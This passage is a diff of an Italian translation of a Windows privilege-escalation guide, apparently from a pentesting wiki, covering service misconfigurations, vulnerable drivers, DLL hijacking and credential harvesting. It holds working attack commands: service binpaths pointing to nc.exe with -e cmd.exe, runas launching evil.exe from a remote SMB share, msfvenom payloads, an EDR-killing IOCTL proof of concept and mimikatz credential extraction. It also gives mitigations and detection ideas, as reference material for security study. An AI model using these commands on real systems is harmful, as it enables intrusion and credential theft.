di un processo in esecuzione usando **procdump** di sysinternals. Servizi come FTP contengono le **credentials in clear text in memory**; prova a effettuare il dump della memoria e a leggere le credentials. ```bash procdump.exe -accepteula -ma ``` ### Applicazioni GUI insicure -**Le applicazioni eseguite come SYSTEM possono consentire a un utente di avviare un CMD o di esplorare directory.** +**Le applicazioni in esecuzione come SYSTEM possono permettere a un utente di avviare un CMD o esplorare le directory.** Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", clicca su "Click to open Command Prompt" ## Servizi -Elenca i servizi: +Ottieni la lista dei servizi: ```bash net start wmic service list brief @@ -447,7 +448,7 @@ Puoi usare **sc** per ottenere informazioni su un servizio ```bash sc qc ``` -È consigliabile disporre del binario **accesschk** di _Sysinternals_ per verificare il livello di privilegi richiesto per ogni servizio. +È consigliabile avere il binario **accesschk** di _Sysinternals_ per verificare il livello di privilegio richiesto per ogni servizio. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -462,10 +463,10 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Abilitare il servizio -Se ricevi questo errore (ad esempio con SSDPSRV): +Se riscontri questo errore (ad esempio con SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_Si è verificato l'errore di sistema 1058._\ +_Il servizio non può essere avviato, sia perché è disabilitato, sia perché non ha dispositivi abilitati associati._ Puoi abilitarlo usando ```bash @@ -474,13 +475,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)** -**Un'altra soluzione alternativa** a questo problema è eseguire: +**Un altro workaround** di questo problema è eseguire: ``` sc.exe config usosvc start= auto ``` -### **Modificare il percorso del binario del servizio** +### **Modifica del percorso del binario del servizio** -Nel caso in cui il gruppo "Authenticated users" possieda **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire **sc**: +Nel caso in cui il gruppo "Authenticated users" possieda **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare il binario eseguibile del servizio. Per modificare ed eseguire **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -495,24 +496,24 @@ net stop [service name] && net start [service name] ``` I privilegi possono essere elevati tramite varie autorizzazioni: -- **SERVICE_CHANGE_CONFIG**: Consente la riconfigurazione dell'eseguibile del servizio. -- **WRITE_DAC**: Permette la riconfigurazione dei permessi, portando alla possibilità di modificare le configurazioni del servizio. -- **WRITE_OWNER**: Consente l'acquisizione della proprietà e la riconfigurazione dei permessi. -- **GENERIC_WRITE**: Eredita la possibilità di modificare le configurazioni del servizio. -- **GENERIC_ALL**: Eredita anch'esso la possibilità di modificare le configurazioni del servizio. +- **SERVICE_CHANGE_CONFIG**: Consente la riconfigurazione del binario del servizio. +- **WRITE_DAC**: Consente la riconfigurazione delle autorizzazioni, portando alla possibilità di modificare le configurazioni del servizio. +- **WRITE_OWNER**: Consente di acquisire la proprietà e di riconfigurare le autorizzazioni. +- **GENERIC_WRITE**: Eredita la capacità di modificare le configurazioni del servizio. +- **GENERIC_ALL**: Anche questo eredita la capacità di modificare le configurazioni del servizio. -Per il rilevamento e lo sfruttamento di questa vulnerabilità può essere utilizzato _exploit/windows/local/service_permissions_. +Per il rilevamento e lo sfruttamento di questa vulnerabilità, è possibile utilizzare _exploit/windows/local/service_permissions_. -### Services binaries weak permissions +### Permessi deboli dei binari dei servizi -**Verifica se puoi modificare il file eseguibile eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** dove si trova l'eseguibile ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Puoi ottenere tutti gli eseguibili avviati da un servizio usando **wmic** (non in system32) e controllare i tuoi permessi con **icacls**: +**Controlla se puoi modificare il binario che viene eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** in cui si trova il binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Puoi ottenere ogni binario eseguito da un servizio usando **wmic** (non in system32) e controllare i tuoi permessi usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Puoi anche utilizzare **sc** e **icacls**: +Puoi anche usare **sc** e **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -520,8 +521,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Permessi di modifica del registro dei servizi -Dovresti verificare se puoi modificare qualche registro dei servizi.\ -Puoi **verificare** i tuoi **permessi** su un **registro** di servizio eseguendo: +Dovresti verificare se puoi modificare qualche registro di servizio.\ +Puoi **controllare** i tuoi **permessi** su un **registro di servizio** eseguendo: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -536,18 +537,18 @@ Per cambiare il percorso del binario eseguito: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Registro dei servizi: permessi AppendData/AddSubdirectory +### Permessi AppendData/AddSubdirectory sul registro dei Services -Se possiedi questo permesso su un registro significa che **puoi creare sotto-registri a partire da questo**. Nel caso dei servizi Windows questo è **sufficiente per eseguire codice arbitrario:** +Se hai questo permesso su un registro significa che **puoi creare sotto-registri da questo**. Nel caso dei Windows services questo è **sufficiente per eseguire codice arbitrario:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### Percorsi dei servizi non racchiusi tra virgolette -Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni parte che termina prima di uno spazio. +Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni segmento che precede uno spazio. Ad esempio, per il percorso _C:\Program Files\Some Folder\Service.exe_ Windows tenterà di eseguire: ```bash @@ -555,7 +556,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati: +Elenca tutti gli unquoted service paths, escludendo quelli appartenenti ai servizi integrati di Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +576,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted_service_path` Puoi creare manualmente un binario di servizio con metasploit: +**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Azioni di ripristino -Windows consente agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile privilege escalation. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](). +Windows consente agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile privilege escalation. Maggiori dettagli nella [documentazione ufficiale](). ## Applicazioni ### Applicazioni installate -Controlla i **permissions of the binaries** (maybe you can overwrite one and escalate privileges) e delle **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Controlla i **permessi dei binaries** (magari puoi sovrascriverne uno e ottenere privilege escalation) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,9 +599,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Permessi di scrittura -Verifica se puoi modificare qualche file di configurazione per leggere qualche file speciale o se puoi modificare un binario che verrà eseguito da un Administrator account (schedtasks). +Verifica se puoi modificare qualche file di configurazione per leggere un file speciale o se puoi modificare un binario che verrà eseguito da un account Administrator (schedtasks). -Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire: +Un modo per trovare cartelle/file con permessi deboli nel sistema è: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -625,7 +626,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Esecuzione all'avvio -**Verifica se puoi sovrascrivere qualche registry o binary che verrà eseguito da un utente diverso.**\ +**Verifica se puoi sovrascrivere qualche chiave del registro o binario che verrà eseguito da un altro utente.**\ **Leggi** la **pagina seguente** per saperne di più su interessanti **autoruns locations to escalate privileges**: @@ -633,7 +634,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Drivers +### Driver Cerca possibili **third party weird/vulnerable** drivers ```bash @@ -641,23 +642,23 @@ driverquery driverquery.exe /fo table driverquery /SI ``` -Se un driver espone una primitive di lettura/scrittura arbitraria del kernel (comune in handler IOCTL mal progettati), puoi elevare i privilegi rubando un SYSTEM token direttamente dalla memoria del kernel. Vedi la tecnica passo‑passo qui: +Se un driver espone un arbitrary kernel read/write primitive (common in IOCTL handlers progettati male), puoi effettuare l'escalation rubando un token SYSTEM direttamente dalla memoria kernel. Vedi la tecnica passo‑passo qui: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### Abuso della mancanza di FILE_DEVICE_SECURE_OPEN sugli oggetti device (LPE + EDR kill) +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) -Alcuni driver di terze parti firmati creano il loro device object con un SDDL robusto tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la DACL sicura non viene applicata quando il device viene aperto tramite un percorso che contiene un componente aggiuntivo, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un namespace path come: +Alcuni driver firmati di terze parti creano il loro device object con un SDDL restrittivo tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la secure DACL non viene applicata quando il device viene aperto tramite un percorso contenente un componente extra, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un namespace path come: - \\ .\\DeviceName\\anything -- \\ .\\amsdk\\anyfile (da un caso reale) +- \\ .\\amsdk\\anyfile (from a real-world case) -Una volta che un utente può aprire il device, gli IOCTL privilegiati esposti dal driver possono essere abusati per LPE e per manomissioni. Esempi di capacità osservate in natura: +Una volta che un utente può aprire il device, i privilegiati IOCTLs esposti dal driver possono essere abusati per LPE e manomissioni. Esempi di capacità osservate nel mondo reale: - Restituire handle con accesso completo a processi arbitrari (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). -- Unrestricted raw disk read/write (manomissione offline, trucchi di persistenza a boot-time). -- Terminare processi arbitrari, inclusi Protected Process/Light (PP/PPL), permettendo la kill di AV/EDR da user land via kernel. +- Raw disk read/write senza restrizioni (offline tampering, trucchi di persistenza all'avvio). +- Terminare processi arbitrari, inclusi Protected Process/Light (PP/PPL), permettendo AV/EDR kill dallo user land tramite kernel. Minimal PoC pattern (user mode): ```c @@ -671,25 +672,25 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -Mitigazioni per sviluppatori -- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL. -- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns. -- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges. +Mitigazioni per gli sviluppatori +- Imposta sempre FILE_DEVICE_SECURE_OPEN quando crei device objects destinati a essere limitati da una DACL. +- Valida il contesto del caller per le operazioni privilegiate. Aggiungi controlli PP/PPL prima di consentire la terminazione di processi o il ritorno di handle. +- Limita gli IOCTLs (access masks, METHOD_*, input validation) e considera brokered models invece di privilegi diretti del kernel. Idee di rilevamento per i difensori -- Monitora le aperture in user-mode di nomi di device sospetti (e.g., \\ .\\amsdk*) e sequenze IOCTL specifiche indicative di abuso. -- Applica la vulnerable driver blocklist di Microsoft (HVCI/WDAC/Smart App Control) e mantieni le tue allow/deny lists. +- Monitora gli open in user-mode di nomi di device sospetti (e.g., \\ .\\amsdk*) e sequenze IOCTL specifiche indicative di abuso. +- Applica la Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) e mantieni le tue liste allow/deny. ## PATH DLL Hijacking -Se hai **write permissions inside a folder present on PATH** potresti essere in grado di eseguire un hijack di una DLL caricata da un processo e **escalate privileges**. +Se hai **write permissions inside a folder present on PATH** potresti essere in grado di hijack una DLL caricata da un processo e **escalate privileges**. -Check permissions of all folders inside PATH: +Verifica i permessi di tutte le cartelle presenti in PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Per maggiori informazioni su come abusare di questo controllo: +Per maggiori informazioni su come sfruttare questo controllo: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -707,7 +708,7 @@ net share #Check current shares ``` ### hosts file -Controlla la presenza di altri computer noti hardcoded nel file hosts +Verifica la presenza di altri computer noti hardcoded nel hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -719,7 +720,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Porte aperte -Controlla la presenza di **servizi ristretti** dall'esterno +Verifica la presenza di **servizi ristretti** dall'esterno ```bash netstat -ano #Opened ports? ``` @@ -733,11 +734,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Regole del firewall +### Regole del Firewall -[**Consulta questa pagina per i comandi relativi al firewall**](../basic-cmd-for-pentesters.md#firewall) **(elencare le regole, creare regole, disattivare, disattivare...)** +[**Controlla questa pagina per i comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elenca le regole, crea regole, disattiva, disattiva...)** -Altri[ comandi per l'enumerazione di rete qui](../basic-cmd-for-pentesters.md#network) +Altri[ comandi per l'enumerazione della rete qui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -746,7 +747,7 @@ C:\Windows\System32\wsl.exe ``` Il binario `bash.exe` può anche essere trovato in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se ottieni l'utente root puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti verrà chiesto tramite GUI se `nc` deve essere consentito dal firewall). +Se ottieni root user puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti chiederà tramite GUI se a `nc` deve essere consentito l'accesso attraverso il firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -755,7 +756,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Per avviare facilmente bash come root, puoi provare `--default-user root` -Puoi esplorare il filesystem di `WSL` nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Puoi esplorare il `WSL` filesystem nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Credenziali Windows @@ -774,13 +775,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Gestore credenziali / Windows Vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Il Windows Vault memorizza le credenziali degli utenti per server, siti web e altri programmi ai quali **Windows** può **eseguire automaticamente il login**. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le credenziali di Facebook, Twitter, Gmail ecc. in modo da accedere automaticamente tramite i browser. Ma non è così. +Windows Vault memorizza le credenziali utente per server, siti web e altri programmi per i quali **Windows** può **eseguire automaticamente l'accesso degli utenti**. A prima vista, potrebbe sembrare che gli utenti possano salvare le credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così. -Windows Vault memorizza credenziali che Windows può usare per effettuare l'accesso automaticamente, il che significa che qualsiasi **applicazione Windows che necessita di credenziali per accedere a una risorsa** (server o sito web) **può utilizzare questo Credential Manager** e Windows Vault e impiegare le credenziali fornite invece che gli utenti inseriscano nome utente e password ogni volta. +Windows Vault memorizza credenziali che Windows può usare per eseguire automaticamente l'accesso degli utenti, il che significa che qualsiasi **applicazione Windows che necessita di credenziali per accedere a una risorsa** (server o sito web) **può fare uso di questo Credential Manager** e Windows Vault e utilizzare le credenziali fornite invece che gli utenti inseriscano username e password ogni volta. -A meno che le applicazioni non interagiscano con Credential Manager, non credo sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole utilizzare il vault, dovrebbe in qualche modo **comunicare con il Credential Manager e richiedere le credenziali per quella risorsa** dal vault di storage predefinito. +A meno che le applicazioni non interagiscano con Credential Manager, non penso sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole usare il vault, dovrebbe in qualche modo **comunicare con il credential manager e richiedere le credenziali per quella risorsa** dal vault di storage predefinito. -Usa il comando `cmdkey` per elencare le credenziali memorizzate sulla macchina. +Usa il `cmdkey` per elencare le credenziali memorizzate sulla macchina. ```bash cmdkey /list Currently stored credentials: @@ -788,38 +789,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Quindi puoi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente chiama un remote binary tramite una condivisione SMB. +Puoi quindi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente richiama un binario remoto tramite una SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Utilizzo di `runas` con un insieme di credenziali fornite. +Usare `runas` con un set di credential forniti. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o da [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o dal [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **Data Protection API (DPAPI)** fornisce un metodo per la cifratura simmetrica dei dati, utilizzata principalmente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto utente o di sistema che contribuisce in modo significativo all'entropia. +La **Data Protection API (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzato principalmente nel sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto dell'utente o del sistema che contribuisce in modo significativo all'entropia. -**DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica derivata dai segreti di accesso dell'utente**. Nei casi di cifratura a livello di sistema, utilizza i segreti di autenticazione di dominio del sistema. +**DPAPI consente la crittografia delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell'utente**. In scenari che coinvolgono la crittografia di sistema, utilizza i segreti di autenticazione di dominio del sistema. -Le chiavi RSA utente cifrate, mediante DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, collocata nello stesso file insieme alla master key che protegge le chiavi private dell'utente**, è tipicamente costituita da 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando `dir` in CMD, sebbene possa essere elencata tramite PowerShell). +Le chiavi RSA utente cifrate tramite DPAPI sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} rappresenta lo [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-located con la master key che protegge le chiavi private dell'utente nello stesso file**, è tipicamente costituita da 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Puoi usare **mimikatz module** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decifrarlo. -I **file di credenziali protetti dalla master password** si trovano solitamente in: +Le **file delle credenziali protetti dalla master password** si trovano di solito in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Puoi usare **mimikatz module** `dpapi::cred` con l'apposito `/masterkey` per decriptare.\ -Puoi **estrarre molti DPAPI** **masterkeys** dalla **memory** con il `sekurlsa::dpapi` module (se sei root). +Puoi usare **mimikatz module** `dpapi::cred` con l'appropriato `/masterkey` per decifrare.\ +Puoi estrarre molte **DPAPI** **masterkeys** dalla **memoria** con il modulo `sekurlsa::dpapi` (se sei root). {{#ref}} @@ -828,9 +829,9 @@ dpapi-extracting-passwords.md ### Credenziali PowerShell -**PowerShell credentials** sono spesso usate per attività di **scripting** e automazione come modo comodo per memorizzare credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che tipicamente significa che possono essere decriptate solo dallo stesso utente sullo stesso computer in cui sono state create. +**Credenziali PowerShell** sono spesso usate per **scripting** e attività di automazione come modo comodo per memorizzare credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che tipicamente significa che possono essere decifrate solo dallo stesso utente sullo stesso computer in cui sono state create. -Per **decriptare** una credenziale PS dal file che la contiene puoi fare: +Per **decifrare** una credenziale PowerShell dal file che la contiene puoi fare: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -841,7 +842,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -864,16 +865,16 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Usa il **Mimikatz** `dpapi::rdg` module con l'/masterkey appropriato per **decriptare qualsiasi file .rdg**\ +Usa il modulo **Mimikatz** `dpapi::rdg` con il `/masterkey` appropriato per **decriptare qualsiasi file .rdg**\ Puoi **estrarre molte DPAPI masterkeys** dalla memoria con il modulo Mimikatz `sekurlsa::dpapi` ### Sticky Notes -Spesso le persone usano l'app StickyNotes sulle workstation Windows per **salvare password** e altre informazioni, senza rendersi conto che è un file di database. Questo file si trova in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre utile cercarlo ed esaminarlo. +Spesso gli utenti usano l'app StickyNotes sulle workstation Windows per **salvare password** e altre informazioni, senza rendersi conto che sia un file di database. Questo file si trova in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre utile cercarlo ed esaminarlo. ### AppCmd.exe -**Nota che per recuperare le password da AppCmd.exe devi essere Administrator ed eseguire con un livello di integrità High.**\ +**Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con un livello di High Integrity.**\ **AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\`.\ Se questo file esiste, è possibile che alcune **credentials** siano state configurate e possano essere **recuperate**. @@ -957,14 +958,14 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Verifica se `C:\Windows\CCM\SCClient.exe` esiste .\ -Gli installer **vengono eseguiti con SYSTEM privileges**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Controlla se `C:\Windows\CCM\SCClient.exe` esiste.\ +Gli installer sono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## File e Registro (Credentials) +## File e Registry (Credentials) ### Putty Creds ```bash @@ -976,21 +977,21 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH keys nel registro -SSH private keys possono essere memorizzate nella chiave di registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti controllare se c'è qualcosa di interessante lì: +Le chiavi private SSH possono essere memorizzate nella chiave di registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti controllare se c'è qualcosa di interessante al suo interno: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se trovi una voce in quel percorso, probabilmente si tratta di una SSH key salvata. È memorizzata cifrata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Maggiori informazioni su questa tecnica qui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Se trovi una voce all'interno di quel percorso sarà probabilmente una SSH key salvata. È memorizzata crittografata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Ulteriori informazioni su questa tecnica: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se il servizio `ssh-agent` non è in esecuzione e vuoi che si avvii automaticamente all'avvio, esegui: +Se il servizio `ssh-agent` non è in esecuzione e vuoi che si avvii automaticamente all'avvio esegui: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Sembra che questa tecnica non sia più valida. Ho provato a creare alcune chiavi ssh, aggiungerle con `ssh-add` e fare login via ssh su una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. +> Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con `ssh-add` e fare login via ssh su una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. -### Unattended files +### File non presidiati ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -1006,6 +1007,8 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Puoi anche cercare questi file usando **metasploit**: _post/windows/gather/enum_unattend_ + +Esempio di contenuto: ```xml @@ -1034,7 +1037,7 @@ Puoi anche cercare questi file usando **metasploit**: _post/windows/gather/enum_ %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Credenziali Cloud +### Credenziali cloud ```bash #From user home .aws\credentials @@ -1050,11 +1053,11 @@ Cerca un file chiamato **SiteList.xml** ### Password GPP memorizzata nella cache -Una funzionalità precedentemente disponibile permetteva il deployment di account di amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia questo metodo presentava gravi vulnerabilità di sicurezza. Innanzitutto, i Group Policy Objects (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, cifrate con AES256 usando una chiave predefinita documentata pubblicamente, potevano essere decifrate da qualsiasi utente autenticato. Ciò rappresentava un rischio serio, in quanto poteva permettere a utenti di ottenere privilegi elevati. +Una funzionalità era precedentemente 